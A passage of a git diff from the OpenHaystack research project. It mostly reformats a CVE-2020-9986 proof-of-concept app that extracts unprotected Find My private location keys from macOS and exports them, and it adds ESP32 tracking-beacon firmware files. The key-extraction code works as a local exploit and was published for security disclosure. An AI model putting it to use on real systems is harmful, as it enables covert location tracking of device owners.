+//
 
 #import <Foundation/Foundation.h>
 //https://github.com/Matchstic/ReProvision/issues/96#issuecomment-551928795

CVE-2020-9986/OFReadKeys/OFFetchReports/ReportsFetcher/ReportsFetcher.m

@@ -1,9 +1,11 @@
+//
 //  OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
 //
 //  Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
 //  Copyright © 2021 The Open Wireless Link Project
 //
 //  SPDX-License-Identifier: AGPL-3.0-only
+//
 
 #import "ReportsFetcher.h"
 #import <Security/Security.h>

CVE-2020-9986/OFReadKeys/OFFetchReports/SavePanel.swift

@@ -1,47 +1,50 @@
+//
 //  OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
 //
 //  Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
 //  Copyright © 2021 The Open Wireless Link Project
 //
 //  SPDX-License-Identifier: AGPL-3.0-only
+//
 
-import Foundation
 import AppKit
+import Foundation
 
 class SavePanel: NSObject, NSOpenSavePanelDelegate {
 
-    static let shared = SavePanel()
+  static let shared = SavePanel()
 
-    var fileToSave: Data?
-    var fileExtension: String?
-    var panel: NSSavePanel?
+  var fileToSave: Data?
+  var fileExtension: String?
+  var panel: NSSavePanel?
 
-    func saveFile(file: Data, fileExtension: String) {
-        self.fileToSave = file
-        self.fileExtension = fileExtension
+  func saveFile(file: Data, fileExtension: String) {
+    self.fileToSave = file
+    self.fileExtension = fileExtension
 
-        self.panel = NSSavePanel()
-        self.panel?.delegate = self
-        self.panel?.title = "Export Find My Locations"
-        self.panel?.prompt = "Export"
-        self.panel?.nameFieldLabel = "Find My Locations"
-        self.panel?.nameFieldStringValue = "findMyLocations.plist"
-        self.panel?.allowedFileTypes = ["plist"]
+    self.panel = NSSavePanel()
+    self.panel?.delegate = self
+    self.panel?.title = "Export Find My Locations"
+    self.panel?.prompt = "Export"
+    self.panel?.nameFieldLabel = "Find My Locations"
+    self.panel?.nameFieldStringValue = "findMyLocations.plist"
+    self.panel?.allowedFileTypes = ["plist"]
 
-        let result = self.panel?.runModal()
-
-        if result == NSApplication.ModalResponse.OK {
-            // Save file
-            let fileURL = self.panel?.url
-            try! self.fileToSave?.write(to: fileURL!)
-        }
+    let result = self.panel?.runModal()
 
+    if result == NSApplication.ModalResponse.OK {
+      // Save file
+      let fileURL = self.panel?.url
+      try! self.fileToSave?.write(to: fileURL!)
     }
 
-    func panel(_ sender: Any, userEnteredFilename filename: String, confirmed okFlag: Bool) -> String? {
-        guard okFlag else {return nil}
+  }
 
-        return filename
-    }
+  func panel(_ sender: Any, userEnteredFilename filename: String, confirmed okFlag: Bool) -> String?
+  {
+    guard okFlag else { return nil }
+
+    return filename
+  }
 
 }

CVE-2020-9986/OFReadKeys/OFReadKeys/AppDelegate.swift

@@ -1,39 +1,41 @@
+//
 //  OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
 //
 //  Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
 //  Copyright © 2021 The Open Wireless Link Project
 //
 //  SPDX-License-Identifier: AGPL-3.0-only
+//
 
 import Cocoa
-import SwiftUI
 import CoreLocation
+import SwiftUI
 
 @NSApplicationMain
 class AppDelegate: NSObject, NSApplicationDelegate {
 
-    var window: NSWindow!
+  var window: NSWindow!
 
-    func applicationDidFinishLaunching(_ aNotification: Notification) {
-        // Create the SwiftUI view that provides the window contents.
-        let contentView = ContentView()
+  func applicationDidFinishLaunching(_ aNotification: Notification) {
+    // Create the SwiftUI view that provides the window contents.
+    let contentView = ContentView()
 
-        // Create the window and set the content view. 
-        window = NSWindow(
-            contentRect: NSRect(x: 0, y: 0, width: 480, height: 300),
-            styleMask: [.titled, .closable, .miniaturizable, .resizable, .fullSizeContentView],
-            backing: .buffered, defer: false)
-        window.center()
-        window.setFrameAutosaveName("Main Window")
-        window.contentView = NSHostingView(rootView: contentView)
-        window.makeKeyAndOrderFront(nil)
-    }
+    // Create the window and set the content view.
+    window = NSWindow(
+      contentRect: NSRect(x: 0, y: 0, width: 480, height: 300),
+      styleMask: [.titled, .closable, .miniaturizable, .resizable, .fullSizeContentView],
+      backing: .buffered, defer: false)
+    window.center()
+    window.setFrameAutosaveName("Main Window")
+    window.contentView = NSHostingView(rootView: contentView)
+    window.makeKeyAndOrderFront(nil)
+  }
 
-    func applicationWillTerminate(_ aNotification: Notification) {
-        // Insert code here to tear down your application
-    }
+  func applicationWillTerminate(_ aNotification: Notification) {
+    // Insert code here to tear down your application
+  }
 
-    func applicationShouldTerminateAfterLastWindowClosed(_ sender: NSApplication) -> Bool {
-        return true
-    }
+  func applicationShouldTerminateAfterLastWindowClosed(_ sender: NSApplication) -> Bool {
+    return true
+  }
 }

CVE-2020-9986/OFReadKeys/OFReadKeys/ContentView.swift

@@ -1,88 +1,95 @@
+//
 //  OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
 //
 //  Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
 //  Copyright © 2021 The Open Wireless Link Project
 //
 //  SPDX-License-Identifier: AGPL-3.0-only
+//
 
-import SwiftUI
 import OSLog
+import SwiftUI
 
 struct ContentView: View {
 
-    @State var keysInfo: String?
+  @State var keysInfo: String?
 
-    var body: some View {
-        ZStack {
-            VStack {
-                Spacer()
+  var body: some View {
+    ZStack {
+      VStack {
+        Spacer()
 
-                self.infoText
-                    .padding()
+        self.infoText
+          .padding()
 
-                Button(action: {
-                    self.readPrivateKeys()
-                }, label: {
-                    Text("Read private offline finding keys")
-                        .font(.headline)
-                        .foregroundColor(Color.black)
-                        .padding()
-                        .background(
-                            RoundedRectangle(cornerRadius: 7.0)
-                                .fill(Color(white: 7.0).opacity(0.7))
-                                .shadow(color: Color.black, radius: 10.0, x: 0, y: 0)
-                    )
+        Button(
+          action: {
+            self.readPrivateKeys()
+          },
+          label: {
+            Text("Read private offline finding keys")
+              .font(.headline)
+              .foregroundColor(Color.black)
+              .padding()
+              .background(
+                RoundedRectangle(cornerRadius: 7.0)
+                  .fill(Color(white: 7.0).opacity(0.7))
+                  .shadow(color: Color.black, radius: 10.0, x: 0, y: 0)
+              )
 
-                })
-                .buttonStyle(PlainButtonStyle())
-
-                self.keysInfo.map { (keysInfo) in
-                    Text(keysInfo)
-                    .padding()
-                }
-
-                Spacer()
-
-            }
+          }
+        )
+        .buttonStyle(PlainButtonStyle())
 
+        self.keysInfo.map { (keysInfo) in
+          Text(keysInfo)
+            .padding()
         }
-        .frame(width: 800, height: 600)
+
+        Spacer()
+
+      }
 
     }
+    .frame(width: 800, height: 600)
 
-    var infoText: some View {
-        // swiftlint:disable line_length
-        Text("This application demonstrates an exploit in macOS 10.15.0 - 10.15.6. It reads unprotected private key files that are used to locate lost devices using Apple's Offline Finding (Find My network). The application exports these key files for a demonstrative purpose. Used in the wild, an adversary would be able to download accurate location data of") +
-        Text(" all ").bold() +
-        Text("Apple devices of the current user.\n\n") +
-        Text("To download the location reports for the exported key files, please use the OFFetchReports app. In our adversary model this app would be placed on an adversary owned Mac while the OFReadKeys might be a benign looking app installed by any user.")
-        // swiftlint:enable line_length
+  }
+
+  var infoText: some View {
+    // swiftlint:disable line_length
+    Text(
+      "This application demonstrates an exploit in macOS 10.15.0 - 10.15.6. It reads unprotected private key files that are used to locate lost devices using Apple's Offline Finding (Find My network). The application exports these key files for a demonstrative purpose. Used in the wild, an adversary would be able to download accurate location data of"
+    ) + Text(" all ").bold() + Text("Apple devices of the current user.\n\n")
+      + Text(
+        "To download the location reports for the exported key files, please use the OFFetchReports app. In our adversary model this app would be placed on an adversary owned Mac while the OFReadKeys might be a benign looking app installed by any user."
+      )
+    // swiftlint:enable line_length
+  }
+
+  func readPrivateKeys() {
+
+    do {
+      let devices = try FindMyKeyExtractor.readPrivateKeys()
+      let numberOfKeys = devices.reduce(0, { $0 + $1.keys.count })
+      self.keysInfo = "Found \(numberOfKeys) key files from \(devices.count) devices."
+      self.saveExportedKeys(keys: devices)
+    } catch {
+      os_log(.error, "Could not load keys %@", error.localizedDescription)
     }
+  }
 
-    func readPrivateKeys() {
-
-        do {
-            let devices = try FindMyKeyExtractor.readPrivateKeys()
-            let numberOfKeys = devices.reduce(0, {$0 + $1.keys.count})
-            self.keysInfo = "Found \(numberOfKeys) key files from \(devices.count) devices."
-            self.saveExportedKeys(keys: devices)
-        } catch {
-            os_log(.error, "Could not load keys %@", error.localizedDescription)
-        }
-    }
-
-    func saveExportedKeys(keys: [FindMyDevice]) {
-        do {
-            let keysPlist = try PropertyListEncoder().encode(keys)
-            SavePanel().saveFile(file: keysPlist, fileExtension: "plist")
-        } catch {
-            os_log(.error, "Property list encoding failed %@", error.localizedDescription)
-        }
+  func saveExportedKeys(keys: [FindMyDevice]) {
+    do {
+      let keysPlist = try PropertyListEncoder().encode(keys)
+      SavePanel().saveFile(file: keysPlist, fileExtension: "plist")
+    } catch {
+      os_log(.error, "Property list encoding failed %@", error.localizedDescription)
     }
+  }
 }
 
 struct ContentView_Previews: PreviewProvider {
-    static var previews: some View {
-        ContentView()
-    }
+  static var previews: some View {
+    ContentView()
+  }
 }

CVE-2020-9986/OFReadKeys/OFReadKeys/FindMyKeyExtractor.swift

@@ -1,223 +1,233 @@
+//
 //  OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
 //
 //  Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
 //  Copyright © 2021 The Open Wireless Link Project
 //
 //  SPDX-License-Identifier: AGPL-3.0-only
+//
 
-import Foundation
 import CryptoKit
+import Foundation
 import OSLog
 
 struct FindMyKeyExtractor {
-    // swiftlint:disable identifier_name
+  // swiftlint:disable identifier_name
 
-    /// This function reads the private keys of the Offline Finding Location system. They will
-    /// - Throws: Error when accessing files fails
-    /// - Returns: Devices and their respective keys
-    static func readPrivateKeys() throws -> [FindMyDevice] {
-        var devices = [FindMyDevice]()
-        os_log(.debug, "Looking for keys")
+  /// This function reads the private keys of the Offline Finding Location system. They will
+  /// - Throws: Error when accessing files fails
+  /// - Returns: Devices and their respective keys
+  static func readPrivateKeys() throws -> [FindMyDevice] {
+    var devices = [FindMyDevice]()
+    os_log(.debug, "Looking for keys")
 
+    do {
+
+      // The key files have moved with macOS 10.15.4
+      let macOS10_15_3Devices = try self.readFromOldLocation()
+      devices.append(contentsOf: macOS10_15_3Devices)
+    } catch {
+      os_log(.error, "Did not find keys for 10.15.3\n%@", String(describing: error))
+    }
+
+    do {
+      // Tries to discover the new location of the keys
+      let macOS10_15_4Devices = try self.findKeyFilesInNewLocation()
+      devices.append(contentsOf: macOS10_15_4Devices)
+    } catch {
+      os_log(.error, "Did not find keys for 10.15.4\n%@", String(describing: error))
+    }
+
+    return devices
+  }
+
+  // MARK: - macOS 10.15.0 - 10.15.3
+
+  /// Reads the find my keys from the location used until macOS 10.15.3
+  /// - Throws: An error if the location is no longer available (e.g. in macOS 10.15.4)
+  /// - Returns: An array of find my devices including their keys
+  static func readFromOldLocation() throws -> [FindMyDevice] {
+    // Access the find my directory where the private advertisement keys are stored unencrypted
+    let directoryPath = "com.apple.icloud.searchpartyd/PrivateAdvertisementKeys/"
+
+    let fm = FileManager.default
+    let privateKeysPath = fm.urls(for: .libraryDirectory, in: .userDomainMask)
+      .first?.appendingPathComponent(directoryPath)
+    let folders = try fm.contentsOfDirectory(
+      at: privateKeysPath!,
+      includingPropertiesForKeys: nil, options: .skipsHiddenFiles)
+    guard folders.isEmpty == false else { throw FindMyError.noFoldersFound }
+
+    print("Found \(folders.count) folders")
+    var devices = [FindMyDevice]()
+
+    for folderURL in folders {
+      let keyFiles = try fm.contentsOfDirectory(
+        at: folderURL,
+        includingPropertiesForKeys: nil, options: .skipsHiddenFiles)
+      // Check if keys are available
+      print("Found \(keyFiles.count) in folder \(folderURL.lastPathComponent)")
+      guard keyFiles.isEmpty == false else { continue }
+      var device = FindMyDevice(deviceId: folderURL.lastPathComponent)
+
+      for url in keyFiles {
         do {
-
-            // The key files have moved with macOS 10.15.4
-            let macOS10_15_3Devices = try self.readFromOldLocation()
-            devices.append(contentsOf: macOS10_15_3Devices)
+          if url.pathExtension == "keys" {
+            let keyPlist = try Data(contentsOf: url)
+            let keyInfo = try self.parseKeyFile(keyFile: keyPlist)
+            device.keys.append(keyInfo)
+          }
         } catch {
-            os_log(.error, "Did not find keys for 10.15.3\n%@", String(describing: error))
+          print("Could not load key file ", error)
         }
 
-        do {
-            // Tries to discover the new location of the keys
-            let macOS10_15_4Devices = try self.findKeyFilesInNewLocation()
-            devices.append(contentsOf: macOS10_15_4Devices)
-        } catch {
-            os_log(.error, "Did not find keys for 10.15.4\n%@", String(describing: error))
-        }
+      }
 
-        return devices
+      devices.append(device)
     }
 
-    // MARK: - macOS 10.15.0 - 10.15.3
+    return devices
+  }
 
-    /// Reads the find my keys from the location used until macOS 10.15.3
-    /// - Throws: An error if the location is no longer available (e.g. in macOS 10.15.4)
-    /// - Returns: An array of find my devices including their keys
-    static func readFromOldLocation() throws -> [FindMyDevice] {
-        // Access the find my directory where the private advertisement keys are stored unencrypted
-        let directoryPath = "com.apple.icloud.searchpartyd/PrivateAdvertisementKeys/"
-
-        let fm = FileManager.default
-        let privateKeysPath = fm.urls(for: .libraryDirectory, in: .userDomainMask)
-            .first?.appendingPathComponent(directoryPath)
-        let folders = try fm.contentsOfDirectory(at: privateKeysPath!,
-                                                 includingPropertiesForKeys: nil, options: .skipsHiddenFiles)
-        guard folders.isEmpty == false else {throw FindMyError.noFoldersFound}
-
-        print("Found \(folders.count) folders")
-        var devices = [FindMyDevice]()
-
-        for folderURL in folders {
-            let keyFiles = try fm.contentsOfDirectory(at: folderURL,
-                                                      includingPropertiesForKeys: nil, options: .skipsHiddenFiles)
-            // Check if keys are available
-            print("Found \(keyFiles.count) in folder \(folderURL.lastPathComponent)")
-            guard keyFiles.isEmpty == false else {continue}
-            var device = FindMyDevice(deviceId: folderURL.lastPathComponent)
-
-            for url in keyFiles {
-                do {
-                    if url.pathExtension == "keys" {
-                        let keyPlist = try Data(contentsOf: url)
-                        let keyInfo = try self.parseKeyFile(keyFile: keyPlist)
-                        device.keys.append(keyInfo)
-                    }
-                } catch {
-                    print("Could not load key file ", error)
-                }
-
-            }
-
-            devices.append(device)
-        }
-
-        return devices
+  /// Parses the key plist file used until macOS 10.15.3
+  /// - Parameter keyFile: Propery list data
+  /// - Returns: Find My private Key
+  static func parseKeyFile(keyFile: Data) throws -> FindMyKey {
+    guard
+      let keyDict = try PropertyListSerialization.propertyList(
+        from: keyFile,
+        options: .init(), format: nil) as? [String: Any],
+      let advertisedKey = keyDict["A"] as? Data,
+      let privateKey = keyDict["PR"] as? Data,
+      let timeValues = keyDict["D"] as? [Double],
+      let pu = keyDict["PU"] as? Data
+    else {
+      throw FindMyError.parsingFailed
     }
 
-    /// Parses the key plist file used until macOS 10.15.3
-    /// - Parameter keyFile: Propery list data
-    /// - Returns: Find My private Key
-    static func parseKeyFile(keyFile: Data) throws -> FindMyKey {
-       guard let keyDict = try PropertyListSerialization.propertyList(from: keyFile,
-                                                                      options: .init(), format: nil) as? [String: Any],
-             let advertisedKey = keyDict["A"] as? Data,
-             let privateKey = keyDict["PR"] as?  Data,
-             let timeValues = keyDict["D"] as? [Double],
-             let pu = keyDict["PU"] as? Data
-       else {
-        throw FindMyError.parsingFailed
-       }
+    let hashedKeyDigest = SHA256.hash(data: advertisedKey)
+    let hashedKey = Data(hashedKeyDigest)
+    let time = Date(timeIntervalSinceReferenceDate: timeValues[0])
+    let duration = timeValues[1]
 
-        let hashedKeyDigest = SHA256.hash(data: advertisedKey)
-        let hashedKey = Data(hashedKeyDigest)
-        let time = Date(timeIntervalSinceReferenceDate: timeValues[0])
-        let duration = timeValues[1]
+    return FindMyKey(
+      advertisedKey: advertisedKey,
+      hashedKey: hashedKey,
+      privateKey: privateKey,
+      startTime: time,
+      duration: duration,
+      pu: pu,
+      yCoordinate: nil,
+      fullKey: nil)
+  }
 
-        return FindMyKey(advertisedKey: advertisedKey,
-                         hashedKey: hashedKey,
-                         privateKey: privateKey,
-                         startTime: time,
-                         duration: duration,
-                         pu: pu,
-                         yCoordinate: nil,
-                         fullKey: nil)
-    }
+  // MARK: - macOS 10.15.4 - 10.15.6 (+ Big Sur 11.0 Betas)
 
-    // MARK: - macOS 10.15.4 - 10.15.6 (+ Big Sur 11.0 Betas)
+  /// Find the randomized key folder which is used since macOS 10.15.4
+  /// - Returns: Returns an array of urls that contain keys. Multiple folders are found if the mac has multiple users
+  static func findRamdomKeyFolder() -> [URL] {
+    os_log(.debug, "Searching for cached keys folder")
+    var folderURLs = [URL]()
+    let foldersPath = "/private/var/folders/"
+    let fm = FileManager.default
 
-    /// Find the randomized key folder which is used since macOS 10.15.4
-    /// - Returns: Returns an array of urls that contain keys. Multiple folders are found if the mac has multiple users
-    static func findRamdomKeyFolder() -> [URL] {
-        os_log(.debug, "Searching for cached keys folder")
-        var folderURLs = [URL]()
-        let foldersPath = "/private/var/folders/"
-        let fm = FileManager.default
-
-        func recursiveSearch(from url: URL, urlArray: inout [URL]) {
-            do {
-                let randomSubfolders = try fm.contentsOfDirectory(at: url,
-                                                                  includingPropertiesForKeys: nil,
-                                                                  options: .includesDirectoriesPostOrder)
-
-                for folder in randomSubfolders {
-                    if folder.lastPathComponent == "com.apple.icloud.searchpartyd" {
-                        urlArray.append(folder.appendingPathComponent("Keys"))
-                        os_log(.debug, "Found folder at: %@", folder.path)
-                        break
-                    } else {
-                        recursiveSearch(from: folder, urlArray: &urlArray)
-                    }
-                }
-
-            } catch {
-
-            }
+    func recursiveSearch(from url: URL, urlArray: inout [URL]) {
+      do {
+        let randomSubfolders = try fm.contentsOfDirectory(
+          at: url,
+          includingPropertiesForKeys: nil,
+          options: .includesDirectoriesPostOrder)
 
+        for folder in randomSubfolders {
+          if folder.lastPathComponent == "com.apple.icloud.searchpartyd" {
+            urlArray.append(folder.appendingPathComponent("Keys"))
+            os_log(.debug, "Found folder at: %@", folder.path)
+            break
+          } else {
+            recursiveSearch(from: folder, urlArray: &urlArray)
+          }
         }
 
-        recursiveSearch(from: URL(fileURLWithPath: foldersPath), urlArray: &folderURLs)
+      } catch {
 
-        return folderURLs
+      }
 
     }
 
-    /// Find the key files in macOS 10.15.4 and newer (not working with fixed version 10.15.6)
-    /// - Throws: An error if the key folder cannot be fould
-    /// - Returns: An array of devices including their keys
-    static func findKeyFilesInNewLocation() throws -> [FindMyDevice] {
-        let keysFolders = self.findRamdomKeyFolder()
-        guard keysFolders.isEmpty == false else {
-            throw NSError(domain: "error", code: NSNotFound, userInfo: nil)
-        }
+    recursiveSearch(from: URL(fileURLWithPath: foldersPath), urlArray: &folderURLs)
 
-        var devices = [FindMyDevice]()
-        for folder in keysFolders {
-            if let deviceKeys = try? self.loadNewKeyFilesIn(directory: folder) {
-                devices.append(contentsOf: deviceKeys)
-            }
-        }
+    return folderURLs
 
-        return devices
+  }
+
+  /// Find the key files in macOS 10.15.4 and newer (not working with fixed version 10.15.6)
+  /// - Throws: An error if the key folder cannot be fould
+  /// - Returns: An array of devices including their keys
+  static func findKeyFilesInNewLocation() throws -> [FindMyDevice] {
+    let keysFolders = self.findRamdomKeyFolder()
+    guard keysFolders.isEmpty == false else {
+      throw NSError(domain: "error", code: NSNotFound, userInfo: nil)
     }
 
-    /// Load the keys fils in the passed directory
-    /// - Parameter directory: Pass a directory url to a location with key files
-    /// - Throws: An error if the keys could not be found
-    /// - Returns: An array of devices including their keys
-    static func loadNewKeyFilesIn(directory: URL) throws -> [FindMyDevice] {
-        os_log(.debug, "Loading key files from %@", directory.path)
-        let fm = FileManager.default
-        let subDirectories = try fm.contentsOfDirectory(at: directory,
-                                                        includingPropertiesForKeys: nil, options: .skipsHiddenFiles)
+    var devices = [FindMyDevice]()
+    for folder in keysFolders {
+      if let deviceKeys = try? self.loadNewKeyFilesIn(directory: folder) {
+        devices.append(contentsOf: deviceKeys)
+      }
+    }
 
-        var devices = [FindMyDevice]()
+    return devices
+  }
 
-        for deviceDirectory in subDirectories {
-            do {
-                var keyFiles = [Data]()
-                let keyDirectory = deviceDirectory.appendingPathComponent("Primary")
-                let keyFileURLs = try fm.contentsOfDirectory(at: keyDirectory,
-                                                             includingPropertiesForKeys: nil,
-                                                             options: .skipsHiddenFiles)
-                for keyfileURL in keyFileURLs {
-                    // Read the key files
-                    let keyFile = try Data(contentsOf: keyfileURL)
-                    if keyFile.isEmpty == false {
-                        keyFiles.append(keyFile)
-                    }
-                }
+  /// Load the keys fils in the passed directory
+  /// - Parameter directory: Pass a directory url to a location with key files
+  /// - Throws: An error if the keys could not be found
+  /// - Returns: An array of devices including their keys
+  static func loadNewKeyFilesIn(directory: URL) throws -> [FindMyDevice] {
+    os_log(.debug, "Loading key files from %@", directory.path)
+    let fm = FileManager.default
+    let subDirectories = try fm.contentsOfDirectory(
+      at: directory,
+      includingPropertiesForKeys: nil, options: .skipsHiddenFiles)
 
-                // Decode keys for file
-                let decoder = FindMyKeyDecoder()
-                var decodedKeys = [FindMyKey]()
-                for file in keyFiles {
-                    do {
-                        let fmKeys = try decoder.parse(keyFile: file)
-                        decodedKeys.append(contentsOf: fmKeys)
-                    } catch {
-                        os_log(.error, "Decoding keys failed %@", error.localizedDescription)
-                    }
-                }
+    var devices = [FindMyDevice]()
 
-                let device = FindMyDevice(deviceId: deviceDirectory.lastPathComponent, keys: decodedKeys)
-                devices.append(device)
-            } catch {
-                os_log(.error, "Key directory not found %@", error.localizedDescription)
-            }
+    for deviceDirectory in subDirectories {
+      do {
+        var keyFiles = [Data]()
+        let keyDirectory = deviceDirectory.appendingPathComponent("Primary")
+        let keyFileURLs = try fm.contentsOfDirectory(
+          at: keyDirectory,
+          includingPropertiesForKeys: nil,
+          options: .skipsHiddenFiles)
+        for keyfileURL in keyFileURLs {
+          // Read the key files
+          let keyFile = try Data(contentsOf: keyfileURL)
+          if keyFile.isEmpty == false {
+            keyFiles.append(keyFile)
+          }
         }
 
-        return devices
+        // Decode keys for file
+        let decoder = FindMyKeyDecoder()
+        var decodedKeys = [FindMyKey]()
+        for file in keyFiles {
+          do {
+            let fmKeys = try decoder.parse(keyFile: file)
+            decodedKeys.append(contentsOf: fmKeys)
+          } catch {
+            os_log(.error, "Decoding keys failed %@", error.localizedDescription)
+          }
+        }
+
+        let device = FindMyDevice(deviceId: deviceDirectory.lastPathComponent, keys: decodedKeys)
+        devices.append(device)
+      } catch {
+        os_log(.error, "Key directory not found %@", error.localizedDescription)
+      }
     }
 
+    return devices
+  }
+
 }

CVE-2020-9986/OFReadKeys/OFReadKeys/FindMyModels.swift

@@ -1,42 +1,44 @@
+//
 //  OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
 //
 //  Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
 //  Copyright © 2021 The Open Wireless Link Project
 //
 //  SPDX-License-Identifier: AGPL-3.0-only
+//
 
-import Foundation
 import Combine
 import CryptoKit
+import Foundation
 
 struct FindMyDevice: Codable {
-    let deviceId: String
-    var keys = [FindMyKey]()
+  let deviceId: String
+  var keys = [FindMyKey]()
 }
 
 struct FindMyKey: Codable {
-    /// The advertising key
-    let advertisedKey: Data
-    /// Hashed advertisement key using SHA256
-    let hashedKey: Data
-    /// The private key from which the advertisement keys can be derived
-    let privateKey: Data
-    /// When this key was used to send out BLE advertisements
-    let startTime: Date?
-    /// Duration from start time how long the key has been used to send out BLE advertisements
-    let duration: Double?
+  /// The advertising key
+  let advertisedKey: Data
+  /// Hashed advertisement key using SHA256
+  let hashedKey: Data
+  /// The private key from which the advertisement keys can be derived
+  let privateKey: Data
+  /// When this key was used to send out BLE advertisements
+  let startTime: Date?
+  /// Duration from start time how long the key has been used to send out BLE advertisements
+  let duration: Double?
 
-    // swiftlint:disable identifier_name
-    /// ?
-    let pu: Data?
+  // swiftlint:disable identifier_name
+  /// ?
+  let pu: Data?
 
-    /// As exported from Big Sur
-    let yCoordinate: Data?
-    /// As exported from BigSur
-    let fullKey: Data?
+  /// As exported from Big Sur
+  let yCoordinate: Data?
+  /// As exported from BigSur
+  let fullKey: Data?
 }
 
 enum FindMyError: Error {
-    case noFoldersFound
-    case parsingFailed
+  case noFoldersFound
+  case parsingFailed
 }

CVE-2020-9986/OFReadKeys/OFReadKeys/SavePanel.swift

@@ -1,44 +1,47 @@
+//
 //  OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
 //
 //  Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
 //  Copyright © 2021 The Open Wireless Link Project
 //
 //  SPDX-License-Identifier: AGPL-3.0-only
+//
 
-import Foundation
 import AppKit
+import Foundation
 
 class SavePanel: NSObject, NSOpenSavePanelDelegate {
 
-    static let shared = SavePanel()
+  static let shared = SavePanel()
 
-    var fileToSave: Data?
-    var fileExtension: String?
-    var panel: NSSavePanel?
+  var fileToSave: Data?
+  var fileExtension: String?
+  var panel: NSSavePanel?
 
-    func saveFile(file: Data, fileExtension: String) {
-        self.fileToSave = file
-        self.fileExtension = fileExtension
+  func saveFile(file: Data, fileExtension: String) {
+    self.fileToSave = file
+    self.fileExtension = fileExtension
 
-        self.panel = NSSavePanel()
-        self.panel?.delegate = self
-        self.panel?.title = "Export Find My Keys"
-        self.panel?.prompt = "Export"
-        self.panel?.nameFieldLabel = "Offline Keys Plist"
-        self.panel?.nameFieldStringValue = "OfflineFindingKeys.plist"
-        self.panel?.allowedFileTypes = ["plist"]
+    self.panel = NSSavePanel()
+    self.panel?.delegate = self
+    self.panel?.title = "Export Find My Keys"
+    self.panel?.prompt = "Export"
+    self.panel?.nameFieldLabel = "Offline Keys Plist"
+    self.panel?.nameFieldStringValue = "OfflineFindingKeys.plist"
+    self.panel?.allowedFileTypes = ["plist"]
 
-        self.panel?.begin(completionHandler: { (response) in
-            if response == .OK {
-                // Save the file in a cache directory
-                let fileURL = self.panel?.url
-                try? self.fileToSave?.write(to: fileURL!)
-            }
-        })
+    self.panel?.begin(completionHandler: { (response) in
+      if response == .OK {
+        // Save the file in a cache directory
+        let fileURL = self.panel?.url
+        try? self.fileToSave?.write(to: fileURL!)
+      }
+    })
 
-    }
+  }
 
-    func panel(_ sender: Any, userEnteredFilename filename: String, confirmed okFlag: Bool) -> String? {
-        return filename
-    }
+  func panel(_ sender: Any, userEnteredFilename filename: String, confirmed okFlag: Bool) -> String?
+  {
+    return filename
+  }
 }

Firmware/ESP32/.gitignore

@@ -0,0 +1,3 @@
+build/**
+venv/**
+sdkconfig.old

Firmware/ESP32/.vscode/settings.json

@@ -0,0 +1,3 @@
+{
+    "idf.port": "/dev/cu.usbserial-0001"
+}

Firmware/ESP32/CMakeLists.txt

@@ -0,0 +1,7 @@
+# The following lines of boilerplate have to be in your project's CMakeLists
+# in this exact order for cmake to work correctly
+cmake_minimum_required(VERSION 3.5)
+
+set(SUPPORTED_TARGETS esp32)
+include($ENV{IDF_PATH}/tools/cmake/project.cmake)
+project(openhaystack)

Firmware/ESP32/Makefile

@@ -0,0 +1,10 @@
+#
+# This is a project Makefile. It is assumed the directory this Makefile resides in is a
+# project subdirectory.
+#
+
+PROJECT_NAME := openhaystack-esp32
+
+COMPONENT_ADD_INCLUDEDIRS := components/include
+
+include $(IDF_PATH)/make/project.mk

Firmware/ESP32/README.md

@@ -0,0 +1,44 @@
+# OpenHaystack Firmware for ESP32
+
+This project contains a PoC firmware for Espressif ESP32 chips (like ESP32-WROOM or ESP32-WROVER, but _not_ ESP32-S2).
+After flashing our firmware, the device sends out Bluetooth Low Energy advertisements such that it can be found by [Apple's Find My network](https://developer.apple.com/find-my/).
+
+## Disclaimer
+
+Note that the firmware is just a proof-of-concept and currently only implements advertising a single static key. This means that **devices running this firmware are trackable** by other devices in proximity.
+
+## Requirements
+
+To change and rebuild the firmware, you need Espressif's IoT Development Framework (ESP-IDF).
+Installation instructions for the latest version of the ESP-IDF can be found in [its documentation](https://docs.espressif.com/projects/esp-idf/en/latest/esp32/get-started/).
+The firmware is tested on version 4.2.
+
+For deploying the firmware, you need Python 3 on your path, either as `python3` (preferred) or as `python`, and the `venv` module needs to be available.
+
+## Build
+
+With the ESP-IDF on your `$PATH`, you can use `idf.py` to build the application from within this directory:
+
+```bash
+idf.py build
+```
+
+This will create the following files:
+
+- `build/bootloader/bootloader.bin` -- The second stage bootloader
+- `build/partition_table/partition-table.bin` -- The partition table
+- `build/openhaystack.bin` -- The application itself
+
+These files are required for the next step: Deploy the firmware.
+
+## Deploy the Firmware
+
+Use the `flash_esp32.sh` script to deploy the firmware and a public key to an ESP32 device connected to your local machine:
+
+```bash
+./flash_esp32.sh -p /dev/yourSerialPort "public-key-in-base64"
+```
+
+> **Note:** You might need to reset your device after running the script before it starts sending advertisements.
+
+For more options, see `./flash-esp32.h --help`.

Firmware/ESP32/flash_esp32.sh

@@ -0,0 +1,144 @@
+#!/bin/bash
+
+cleanup() {
+    echo "cleanup ..."
+    rm "$KEYFILE"
+}
+
+# Directory of this script
+SCRIPT_DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" >/dev/null 2>&1 && pwd )"
+
+# Defaults: Directory for the virtual environment
+VENV_DIR="$SCRIPT_DIR/venv"
+
+# Defaults: Serial port to access the ESP32
+PORT=/dev/ttyS0
+
+# Defaults: Fast baud rate
+BAUDRATE=921600
+
+# Parameter parsing
+while [[ $# -gt 0 ]]; do
+    KEY="$1"
+    case "$KEY" in
+        -p|--port)
+            PORT="$2"
+            shift
+            shift
+        ;;
+        -s|--slow)
+            BAUDRATE=115200
+            shift
+        ;;
+        -v|--venvdir)
+            VENV_DIR="$2"
+            shift
+            shift
+        ;;
+        -h|--help)
+            echo "flash_esp32.sh - Flash the OpenHaystack firmware onto an ESP32 module"
+            echo ""
